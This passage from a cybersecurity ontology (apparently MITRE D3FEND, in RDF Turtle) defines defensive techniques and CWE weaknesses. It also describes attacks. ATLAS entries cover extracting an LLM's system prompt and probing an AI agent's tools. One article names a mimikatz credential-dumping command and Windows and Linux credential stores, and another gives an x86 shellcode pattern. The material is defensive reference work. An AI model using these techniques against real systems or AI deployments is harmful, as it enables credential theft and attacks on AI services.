    d3f:definition "The adversary is trying to discover something about the large language model's (LLM) system information. This may be found in a configuration file containing the system instructions or extracted via interactions with the LLM. The desired information may include the full system prompt, special characters that have significance to the LLM or keywords indicating functionality available to the LLM. Information about how the LLM is instructed can be used by the adversary to understand the system's capabilities and to aid them in crafting malicious prompts." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0069> ;
    rdfs:subClassOf d3f:ATLASDiscoveryTechnique ;
    skos:prefLabel "Discover LLM System Information" .

d3f:AML.T0084 a owl:Class ;
    rdfs:label "Discover AI Agent Configuration - ATLAS" ;
    d3f:attack-id "AML.T0084" ;
    d3f:definition """Adversaries may attempt to discover configuration information for AI agents present on the victim's system. Agent configurations can include tools or services they have access to.

Adversaries may directly access agent configuring dashboards or configuration files. They may also obtain configuration details by prompting the agent with questions such as "What tools do you have access to?"

Adversaries can use the information they discover about AI agents to help with targeting.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0084> ;
    rdfs:subClassOf d3f:ATLASDiscoveryTechnique ;
    skos:prefLabel "Discover AI Agent Configuration" .

d3f:ANN-basedClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "ANN-based Clustering" ;
    d3f:d3fend-id "D3A-ABC" ;
    d3f:definition "Combines the principles of Artificial Neural Networks (ANN) and clustering methods." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Artificial neural network. [Link](https://en.wikipedia.org/wiki/Artificial_neural_network)""" ;
    rdfs:subClassOf d3f:ClusterAnalysis .

d3f:ATTACKICSCommandAndControlTechnique a owl:Class ;
    rdfs:label "Command and Control Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0101 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Command and Control Technique" .

d3f:ATTACKMobileExfiltrationTechnique a owl:Class ;
    rdfs:label "Exfiltration Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0036 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Exfiltration Technique" .

d3f:ATTACKMobileLateralMovementTechnique a owl:Class ;
    rdfs:label "Lateral Movement Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0033 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Lateral Movement Technique" .

d3f:AccessControlGroup a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access Control Group" ;
    d3f:definition "A collection of objects that can have access controls placed on them." ;
    d3f:restricted-by d3f:AccessControlList ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/group> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricted-by ;
            owl:someValuesFrom d3f:AccessControlList ],
        d3f:AccessControlConfiguration .

d3f:AnalyticTechnique a owl:Class ;
    rdfs:label "Analytic Technique" ;
    d3f:definition "A process in which a computer examines information using mathematical methods in order to find useful patterns." ;
    rdfs:isDefinedBy <https://dictionary.cambridge.org/us/dictionary/english/analytics> ;
    rdfs:subClassOf d3f:Technique .

d3f:ApplicationPerformanceMonitoring a d3f:ApplicationPerformanceMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Performance Monitoring" ;
    d3f:d3fend-id "D3-APM" ;
    d3f:definition "Monitoring the count and duration of the application or program cycle." ;
    d3f:kb-article """## How it works
Keeping track of the controller cycle time by logging it, setting alarms, and correlating with other events. Changes to cycle time can be indicative of injecting new logic, deleting logic, or system failures.""" ;
    d3f:kb-reference d3f:Reference-SecurePLCCodingPracticesTop20List ;
    d3f:monitors d3f:ApplicationScanTime,
        d3f:SystemApplicationCycleCount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:ApplicationScanTime ],
        [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:SystemApplicationCycleCount ],
        d3f:PlatformMonitoring .

d3f:ApplicationProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Process" ;
    d3f:definition "An application process is an instance of an application computer program that is being executed." ;
    d3f:runs d3f:Application ;
    rdfs:seeAlso <http://dbpedia.org/resource/Application_software> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:runs ;
            owl:someValuesFrom d3f:Application ],
        d3f:UserProcess .

d3f:ApplicationScanTime a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Scan Time" ;
    d3f:definition "A variable that tracks the measured time it takes to begin, run, and complete a select portion of an application's logic." ;
    rdfs:subClassOf d3f:ApplicationRuntimeVariable .

d3f:ApplicationStartEvent a owl:Class ;
    rdfs:label "Application Start Event" ;
    d3f:definition "An event where an application transitions from an inactive state to an active state, initializing its resources and becoming operational for user interaction or automated processes." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ApplicationInstallationEvent ],
        d3f:ApplicationEvent .

d3f:AuthenticationEvent a owl:Class ;
    rdfs:label "Authentication Event" ;
    d3f:definition "An event capturing the systematic process of verifying an agent's identity within a system, involving credential validation and identity confirmation." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/authentication> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:caused-by ;
            owl:someValuesFrom d3f:Authentication ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Credential ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Agent ],
        d3f:DigitalEvent ;
    skos:altLabel "Agent Authentication Event" .

d3f:ByteSequenceEmulation a d3f:ByteSequenceEmulation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Byte Sequence Emulation" ;
    d3f:d3fend-id "D3-BSE" ;
    d3f:definition "Analyzing sequences of bytes and determining if they likely represent malicious shellcode." ;
    d3f:kb-article """## How it works

Bytes are analyzed as if they are machine code instructions, and such instructions that are a common component of known shellcode are noted, such as stack pivots, reads from a Memory Address Table, and system calls for functions that disable protections or execute code.  For example, the x86 instruction `b0 0b: mov $11, %ax`, with no further alterations to the `%ax` register, followed by `cd 80: syscall` executes the system call `execve()` in the Linux kernel, which replaces the current process with another one specified -- this is a common action in shellcode, so this sequence would be flagged.

This technique detects shellcode despite whether or not it would cause a buffer overflow in the target binary.

If the sequence of bytes contains a sequence similar to that used in malicious shellcode, the entire byte sequence is flagged and a follow-on technique may be invoked.

## Considerations

### False Negatives
If the shellcode instructions are far apart, simple implementations might not detect the shellcode.

Due to the nature of assembly instructions not having a defined start or end, implementations which do not process all start sequences (for example, when they a find byte sequence of interest, continue scanning forwards from the end of it) might not detect the shellcode.

This technique might not detect more complex or obfuscated instructions.  For that purpose, Dynamic Analysis or Emulated File Analysis could assist by analyzing the actual instruction function.

This technique may not detect self-modifying code.  To make it harder for a process to modify itself, Process Segment Execution Prevention should be used, while noting its considerations.

This technique might not detect malicious shellcode which reuses instructions in the target binary for malicious effect, as memory references in the presumed assembly code are not dereferenced.  Dynamic Analysis and Emulated File Analysis, when set up properly to fork from the running target binary, might detect this.  Process Segment Execution Prevention combined with Segment Address Offset Randomization frequently makes introduction of shellcode through overwriting a saved return pointer more difficult.  Call stack depth analysis might detect excessive reuse of instructions in the target binary.  Shadow Stack Frames might detect that a stack frame's return address has changed and Stack Frame Canary Verification might detect that the stack frame's return address was overwritten.  Other heuristic methods might detect jump-oriented programming shellcode.

With inserting code directly, that it is not a buffer overflow, and just some place where code is executed either to a file or a write-what-where, the buffer overflow mitigations do not help.  Behavioral analysis could detect this, or proper access control could mitigate this.

### False Positives

Byte sequences containing code that is never used as machine code are still analyzed and flagged for anomalies, and [eventually](http://mathforum.org/library/drmath/view/55871.html), it is likely that an attack sequence will arise from the sheer volume of bytes transmitted.""" ;
    d3f:kb-reference d3f:Reference-Network-BasedBufferOverflowDetectionByExploitCodeAnalysis_InformationSecurityResearchCentre,
        d3f:Reference-Network-levelPolymorphicShellcodeDetectionUsingEmulation ;
    d3f:synonym "Shellcode Transmission Detection" ;
    rdfs:subClassOf d3f:NetworkTrafficAnalysis .

d3f:CWE-116 a owl:Class ;
    rdfs:label "Improper Encoding or Escaping of Output" ;
    d3f:cwe-id "CWE-116" ;
    d3f:definition "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved." ;
    d3f:synonym "Output Encoding",
        "Output Sanitization",
        "Output Validation" ;
    rdfs:subClassOf d3f:CWE-707 .

d3f:CWE-1391 a owl:Class ;
    rdfs:label "Use of Weak Credentials" ;
    d3f:cwe-id "CWE-1391" ;
    d3f:definition "The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-1420 a owl:Class ;
    rdfs:label "Exposure of Sensitive Information during Transient Execution" ;
    d3f:cwe-id "CWE-1420" ;
    d3f:definition "A processor event or prediction may allow incorrect operations (or correct operations with incorrect data) to execute transiently, potentially exposing data over a covert channel." ;
    rdfs:subClassOf d3f:CWE-669 .

d3f:CWE-159 a owl:Class ;
    rdfs:label "Improper Handling of Invalid Use of Special Elements" ;
    d3f:cwe-id "CWE-159" ;
    d3f:definition "The product does not properly filter, remove, quote, or otherwise manage the invalid use of special elements in user-controlled input, which could cause adverse effect on its behavior and integrity." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-209 a owl:Class ;
    rdfs:label "Generation of Error Message Containing Sensitive Information" ;
    d3f:cwe-id "CWE-209" ;
    d3f:definition "The product generates an error message that includes sensitive information about its environment, users, or associated data." ;
    rdfs:subClassOf d3f:CWE-200,
        d3f:CWE-755 .

d3f:CWE-211 a owl:Class ;
    rdfs:label "Externally-Generated Error Message Containing Sensitive Information" ;
    d3f:cwe-id "CWE-211" ;
    d3f:definition "The product performs an operation that triggers an external diagnostic or error message that is not directly generated or controlled by the product, such as an error generated by the programming language interpreter that a software application uses. The error can contain sensitive system information." ;
    rdfs:subClassOf d3f:CWE-209 .

d3f:CWE-229 a owl:Class ;
    rdfs:label "Improper Handling of Values" ;
    d3f:cwe-id "CWE-229" ;
    d3f:definition "The product does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined." ;
    rdfs:subClassOf d3f:CWE-228 .

d3f:CWE-233 a owl:Class ;
    rdfs:label "Improper Handling of Parameters" ;
    d3f:cwe-id "CWE-233" ;
    d3f:definition "The product does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined." ;
    rdfs:subClassOf d3f:CWE-228 .

d3f:CWE-237 a owl:Class ;
    rdfs:label "Improper Handling of Structural Elements" ;
    d3f:cwe-id "CWE-237" ;
    d3f:definition "The product does not handle or incorrectly handles inputs that are related to complex structures." ;
    rdfs:subClassOf d3f:CWE-228 .

d3f:CWE-260 a owl:Class ;
    rdfs:label "Password in Configuration File" ;
    d3f:cwe-id "CWE-260" ;
    d3f:definition "The product stores a password in a configuration file that might be accessible to actors who do not know the password." ;
    rdfs:subClassOf d3f:CWE-522 .

d3f:CWE-290 a owl:Class ;
    rdfs:label "Authentication Bypass by Spoofing" ;
    d3f:cwe-id "CWE-290" ;
    d3f:definition "This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-319 a owl:Class ;
    rdfs:label "Cleartext Transmission of Sensitive Information" ;
    d3f:cwe-id "CWE-319" ;
    d3f:definition "The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors." ;
    rdfs:subClassOf d3f:CWE-311 .

d3f:CWE-335 a owl:Class ;
    rdfs:label "Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)" ;
    d3f:cwe-id "CWE-335" ;
    d3f:definition "The product uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds." ;
    rdfs:subClassOf d3f:CWE-330 .

d3f:CWE-340 a owl:Class ;
    rdfs:label "Generation of Predictable Numbers or Identifiers" ;
    d3f:cwe-id "CWE-340" ;
    d3f:definition "The product uses a scheme that generates numbers or identifiers that are more predictable than required." ;
    rdfs:subClassOf d3f:CWE-330 .

d3f:CWE-344 a owl:Class ;
    rdfs:label "Use of Invariant Value in Dynamically Changing Context" ;
    d3f:cwe-id "CWE-344" ;
    d3f:definition "The product uses a constant value, name, or reference, but this value can (or should) vary across different environments." ;
    rdfs:subClassOf d3f:CWE-330 .

d3f:CWE-364 a owl:Class ;
    rdfs:label "Signal Handler Race Condition" ;
    d3f:cwe-id "CWE-364" ;
    d3f:definition "The product uses a signal handler that introduces a race condition." ;
    rdfs:subClassOf d3f:CWE-362 .

d3f:CWE-420 a owl:Class ;
    rdfs:label "Unprotected Alternate Channel" ;
    d3f:cwe-id "CWE-420" ;
    d3f:definition "The product protects a primary channel, but it does not use the same level of protection for an alternate channel." ;
    rdfs:subClassOf d3f:CWE-923 .

d3f:CWE-446 a owl:Class ;
    rdfs:label "UI Discrepancy for Security Feature" ;
    d3f:cwe-id "CWE-446" ;
    d3f:definition "The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state." ;
    rdfs:subClassOf d3f:CWE-684 .

d3f:CWE-459 a owl:Class ;
    rdfs:label "Incomplete Cleanup" ;
    d3f:cwe-id "CWE-459" ;
    d3f:definition "The product does not properly \"clean up\" and remove temporary or supporting resources after they have been used." ;
    d3f:synonym "Insufficient Cleanup" ;
    rdfs:subClassOf d3f:CWE-404 .

d3f:CWE-480 a owl:Class ;
    rdfs:label "Use of Incorrect Operator" ;
    d3f:cwe-id "CWE-480" ;
    d3f:definition "The product accidentally uses the wrong operator, which changes the logic in security-relevant ways." ;
    rdfs:subClassOf d3f:CWE-670 .

d3f:CWE-538 a owl:Class ;
    rdfs:label "Insertion of Sensitive Information into Externally-Accessible File or Directory" ;
    d3f:cwe-id "CWE-538" ;
    d3f:definition "The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information." ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-540 a owl:Class ;
    rdfs:label "Inclusion of Sensitive Information in Source Code" ;
    d3f:cwe-id "CWE-540" ;
    d3f:definition "Source code on a web server or repository often contains sensitive information and should generally not be accessible to users." ;
    rdfs:subClassOf d3f:CWE-538 .

d3f:CWE-66 a owl:Class ;
    rdfs:label "Improper Handling of File Names that Identify Virtual Resources" ;
    d3f:cwe-id "CWE-66" ;
    d3f:definition "The product does not handle or incorrectly handles a file name that identifies a \"virtual\" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file." ;
    rdfs:subClassOf d3f:CWE-706 .

d3f:CWE-770 a owl:Class ;
    rdfs:label "Allocation of Resources Without Limits or Throttling" ;
    d3f:cwe-id "CWE-770" ;
    d3f:definition "The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor." ;
    rdfs:subClassOf d3f:CWE-400,
        d3f:CWE-665 .

d3f:CWE-772 a owl:Class ;
    rdfs:label "Missing Release of Resource after Effective Lifetime" ;
    d3f:cwe-id "CWE-772" ;
    d3f:definition "The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed." ;
    rdfs:subClassOf d3f:CWE-404 .

d3f:CWE-788 a owl:Class ;
    rdfs:label "Access of Memory Location After End of Buffer" ;
    d3f:cwe-id "CWE-788" ;
    d3f:definition "The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer." ;
    rdfs:subClassOf d3f:CWE-119 .

d3f:CWE-798 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Use of Hard-coded Credentials" ;
    d3f:cwe-id "CWE-798" ;
    d3f:definition "The product contains hard-coded credentials, such as a password or cryptographic key." ;
    d3f:weakness-of d3f:AuthenticationFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:AuthenticationFunction ],
        d3f:CWE-1391,
        d3f:CWE-344,
        d3f:CWE-671 .

d3f:CWE-807 a owl:Class ;
    rdfs:label "Reliance on Untrusted Inputs in a Security Decision" ;
    d3f:cwe-id "CWE-807" ;
    d3f:definition "The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-820 a owl:Class ;
    rdfs:label "Missing Synchronization" ;
    d3f:cwe-id "CWE-820" ;
    d3f:definition "The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource." ;
    rdfs:subClassOf d3f:CWE-662 .

d3f:CWE-829 a owl:Class ;
    rdfs:label "Inclusion of Functionality from Untrusted Control Sphere" ;
    d3f:cwe-id "CWE-829" ;
    d3f:definition "The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere." ;
    rdfs:subClassOf d3f:CWE-669 .

d3f:CWE-834 a owl:Class ;
    rdfs:label "Excessive Iteration" ;
    d3f:cwe-id "CWE-834" ;
    d3f:definition "The product performs an iteration or loop without sufficiently limiting the number of times that the loop is executed." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-94 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Control of Generation of Code ('Code Injection')" ;
    d3f:cwe-id "CWE-94" ;
    d3f:definition "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." ;
    d3f:may-be-weakness-of d3f:EvalFunction,
        d3f:UserInputFunction ;
    d3f:synonym "Code Injection" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-be-weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-be-weakness-of ;
            owl:someValuesFrom d3f:EvalFunction ],
        d3f:CWE-74,
        d3f:CWE-913 .

d3f:CWE-99 a owl:Class ;
    rdfs:label "Improper Control of Resource Identifiers ('Resource Injection')" ;
    d3f:cwe-id "CWE-99" ;
    d3f:definition "The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control." ;
    d3f:synonym "Insecure Direct Object Reference" ;
    rdfs:subClassOf d3f:CWE-74 .

d3f:CertificateAnalysis a d3f:CertificateAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Certificate Analysis" ;
    d3f:analyzes d3f:CertificateFile ;
    d3f:d3fend-id "D3-CA" ;
    d3f:definition "Analyzing Public Key Infrastructure certificates to detect if they have been misconfigured or spoofed using both network traffic, certificate fields and third-party logs." ;
    d3f:kb-article """## How it works
Certificate Analysis ensures that the data elements of the certificate are current and anchored in a known trust model. Certificate authorities, revocation lists, and third-party secure logs are used in the analysis. Analysis includes detection of server impersonation, phishing domains, and forged certificates.

TLS certificates are designed to expire to ensure that the cryptographic keys are forced to be changed on a regular basis. The certificates in the trust path also expire and can cause a break in the trust chain. This means that even if a server certificate is updated correctly, intermediate certificates can expire and the trust chain is not maintained. This can cause services to become unavailable.""" ;
    d3f:kb-reference d3f:Reference-SecuringWebTransactions ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:CertificateFile ],
        d3f:NetworkTrafficAnalysis .

d3f:Classifying a owl:Class ;
    rdfs:label "Classifying" ;
    rdfs:subClassOf d3f:AnalyticalPurpose .

d3f:CloudStorage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Storage" ;
    d3f:definition "Cloud storage is storage held within a computing cloud." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Cloud_storage> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Cloud_computing> ;
    rdfs:subClassOf d3f:SecondaryStorage .

d3f:CodeAnalyzer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Code Analyzer" ;
    d3f:definition "Code analyzers automatically analyze the composition or behavior of computer programs regarding a property such as correctness, robustness, security, and safety. Program analysis can be performed without executing the program (static program analysis), during runtime (dynamic program analysis) or in a combination of both." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Program_analysis> ;
    rdfs:subClassOf d3f:DeveloperApplication ;
    skos:altLabel "Program Analysis Tool" .

d3f:CollaborativeSoftware a owl:Class ;
    rdfs:label "Collaborative Software" ;
    d3f:definition "Collaborative software or groupware is application software designed to help people working on a common task to attain their goals. One of the earliest definitions of groupware is \"intentional group processes plus software to support them\". Collaborative software is a broad concept that overlaps considerably with computer-supported cooperative work (CSCW). According to Carstensen and Schmidt (1999) groupware is part of CSCW. The authors claim that CSCW, and thereby groupware, addresses \"how collaborative activities and their coordination can be supported by means of computer systems.\"" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Collaborative_software> ;
    rdfs:subClassOf d3f:UserApplication .

d3f:Command a owl:Class ;
    rdfs:label "Command" ;
    d3f:definition "A directive (i.e., an instruction specifying a procedure) which, when issued to a computer system, software, or hardware component, causes that entity to execute a specific action, operation, or computation." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Command_(computing)> ;
    rdfs:subClassOf d3f:DigitalInformation .

d3f:ComputingImage a owl:Class ;
    rdfs:label "Computing Image" ;
    d3f:definition "A computing image captures the full state or contents of a computing entity, such as a process or volume." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/System_image#Process_images> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:ConfigurationModificationEvent a owl:Class ;
    rdfs:label "Configuration Modification Event" ;
    d3f:definition "An event that changes the persisted state of configuration resources by adding, updating, or removing parameters, impacting the target component's behavior." ;
    rdfs:subClassOf d3f:ConfigurationEvent .

d3f:ContainerProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Container Process" ;
    d3f:definition "A running instance of a container image." ;
    rdfs:seeAlso d3f:ContainerImage,
        <https://schema.ocsf.io/objects/container> ;
    rdfs:subClassOf d3f:ApplicationProcess .

d3f:ContentValidation a d3f:ContentValidation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Content Validation" ;
    d3f:d3fend-id "D3-CV" ;
    d3f:definition "Verify and validate contents complies with policy" ;
    d3f:kb-article """## How it works

To ensure that content is safe, it's composition must be validated according to its content policy.""" ;
    d3f:kb-reference d3f:Reference-FileSecurityUsingFileFormatValidation_OPSWATInc ;
    rdfs:subClassOf d3f:ContentFiltering .

d3f:ControlCatalog a owl:Class ;
    rdfs:label "Control Catalog" ;
    d3f:definition "A control catalog is a complete list of protective measures for systems, organizations, or individuals for subject domains (e.g., security and privacy.)" ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/06499734-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-member ;
            owl:someValuesFrom d3f:ExternalControl ],
        [ a owl:Restriction ;
            owl:onProperty d3f:version ;
            owl:someValuesFrom [ a rdfs:Datatype ;
                    owl:unionOf ( xsd:integer xsd:string ) ] ],
        d3f:ExternalControlThing .

d3f:CredentialCompromiseScopeAnalysis a d3f:CredentialCompromiseScopeAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Compromise Scope Analysis" ;
    d3f:analyzes d3f:Credential ;
    d3f:d3fend-id "D3-CCSA" ;
    d3f:definition "Determining which credentials may have been compromised by analyzing the user logon history of a particular system." ;
    d3f:kb-article """## How it works

#### Memory
Credentials may be stored in memory for a variety of reasons; on Windows, they may be stored in lsass.exe.  Once a credential dumper like mimikatz runs and dumps the memory of lsass.exe, the credentials of every account logged on since boot are potentially compromised.
When such an event occurs, this analytic will give the forensic context to identify compromised users. Those users could potentially be used in later events for additional logons.


#### Hard disk
Operating System may cache a certain number of credentials onto the hard disk to use as a source of truth if it cannot contact the credential server.  In many versions of Microsoft Windows, the 10 most recent are cached by default; this setting can be changed in the Microsoft Management Console's Local Security Policy: ```Computer Configuration -> Windows Settings -> Local Policy -> Security Options -> Interactive Logon: Number of previous logons to cache -> 0```  Here we are not concerned with the alteration of the credentials but the fact that they might be read.  If the attacker has physical access to the machine they are unlikely to be stopped from reading files on the filesystem.
"In the event that the domain controller is unavailable Windows will check the last password hashes that has been cached in order to authenticate the user with the system. These password hashes are cached in the following registry setting:
HKEY_LOCAL_MACHINE\\SECURITY\\Cache
Mimikatz can retrieve these hashes if the following command is executed:
lsadump::cache" [1]

The Registry Hive, HKEY_LOCAL_MACHINE\\SAM, which is stored in the supporting files %systemroot%\\System32\\Config\\{Sam,sam.log,sam.sav}, contains the SAM file.

DC: This is stored in %systemroot%\\ntds\\ntds.dit. (https://www.ultimatewindowssecurity.com/blog/default.aspx?d=10/2017)

Sometimes memory, which contains credentials, could get on the hard disk. Like with hiberfil.sys in Windows.  Equivalent on Linux


In Linux, an attacker could read the /etc/shadow file.

Reading from /proc directory: mimipenguin, many others.

## Considerations
Effective implementation requires identifying any location that could end up containing credentials, and detecting an method of potential access to a source of credential data.

1. https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5""" ;
    d3f:kb-reference d3f:Reference-AllLoginsSinceLastBoot_MITRE,
        d3f:Reference-SystemsAndMethodsForDetectingCredentialTheft_SymantecCorp ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Credential ],
        d3f:UserBehaviorAnalysis .

d3f:CyberTechnique a owl:Class ;
    rdfs:label "Cyber Technique" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:implemented-by ;
            owl:someValuesFrom d3f:Procedure ],
        d3f:Technique .

d3f:DE-0002 a owl:Class ;
    rdfs:label "Disrupt or Deceive Downlink - SPARTA" ;
    d3f:attack-id "DE-0002" ;
    d3f:definition "Threat actors may target ground-side telemetry reception, processing, or display to disrupt the operator’s visibility into spacecraft health and activity. This may involve denial-based attacks that prevent the spacecraft from transmitting telemetry to the ground (e.g., disabling telemetry links or crashing telemetry software), or more subtle deception-based attacks that manipulate telemetry content to conceal unauthorized actions. Since telemetry is the primary method ground controllers rely on to monitor spacecraft status, any disruption or manipulation can delay or prevent detection of malicious activity, suppress automated or manual mitigations, or degrade trust in telemetry-based decision support systems." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0002/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Disrupt or Deceive Downlink" .

d3f:DNSAllowlisting a d3f:DNSAllowlisting,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DNS Allowlisting" ;
    d3f:blocks d3f:OutboundInternetDNSLookupTraffic ;
    d3f:d3fend-id "D3-DNSAL" ;
    d3f:definition "Permitting only approved domains and their subdomains to be resolved." ;
    d3f:kb-reference d3f:Reference-DNSWhitelist-DNSWL-EmailAuthenticationMethodExtension ;
    d3f:synonym "DNS Whitelisting" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:blocks ;
            owl:someValuesFrom d3f:OutboundInternetDNSLookupTraffic ],
        d3f:NetworkIsolation .

d3f:DeadCodeElimination a d3f:DeadCodeElimination,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Dead Code Elimination" ;
    d3f:d3fend-id "D3-DCE" ;
    d3f:definition "Removing unreachable or \"dead code\" from compiled source code." ;
    d3f:kb-article """## How it works

Dead code is code that is considered unreachable by normal program execution. Dead code can be created by adding code under a condition that never evaluates to true. Dead code should be removed since this type of code can produce unexpected results, if accidentally or maliciously forced to execute.

Dead code identification is typically performed by algorithms that implement program flows analysis looking for unreachable code. The dead code is eliminated by instructing compilers to remove the code through compiler flags, i.e., '-fdce' is used for Dead Code Elimination.

## Considerations

Code can also be deemed unreachable for certain run-time conditions. Different deployed systems and environments may contain some code that is unreachable for the given environment. This technique does not consider run-time conditions for unreachable code.""" ;
    d3f:kb-reference d3f:Reference-DeadCodeElimination ;
    rdfs:subClassOf d3f:ApplicationHardening .

d3f:DecoyPersona a d3f:DecoyPersona,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decoy Persona" ;
    d3f:d3fend-id "D3-DP" ;
    d3f:definition "Establishing a fake online identity to misdirect, deceive, and or interact with adversaries." ;
    d3f:kb-article """## How it works
A false online identity is created for the purposes of interacting with adversaries in a direct or indirect manner. This includes the associated email addresses, social media accounts, and other online communication profiles.

## Considerations
* Include phone numbers and online social profiles as well as automatically or manually responding to contact made to the persona to improve realism.
* Continuous updating and managing the decoy personas and online activity streams to ensure personas do not become stale and outdated.""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-DecoyAndDeceptiveDataObjectTechnology_Cymmetria,Inc.>,
        d3f:Reference-DecoyPersonasForSafeguardingOnlineIdentityUsingDeception_ ;
    d3f:spoofs d3f:User ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:spoofs ;
            owl:someValuesFrom d3f:User ],
        d3f:DecoyObject .

d3f:DefaultUserAccount a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Default User Account" ;
    d3f:definition "Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems or default factory/provider set accounts on other types of systems, software, or devices." ;
    rdfs:seeAlso <https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts> ;
    rdfs:subClassOf d3f:UserAccount .

d3f:DefensiveAction a owl:Class ;
    rdfs:label "Defensive Action" ;
    rdfs:subClassOf d3f:CyberAction .

d3f:DigitalMessage a owl:Class ;
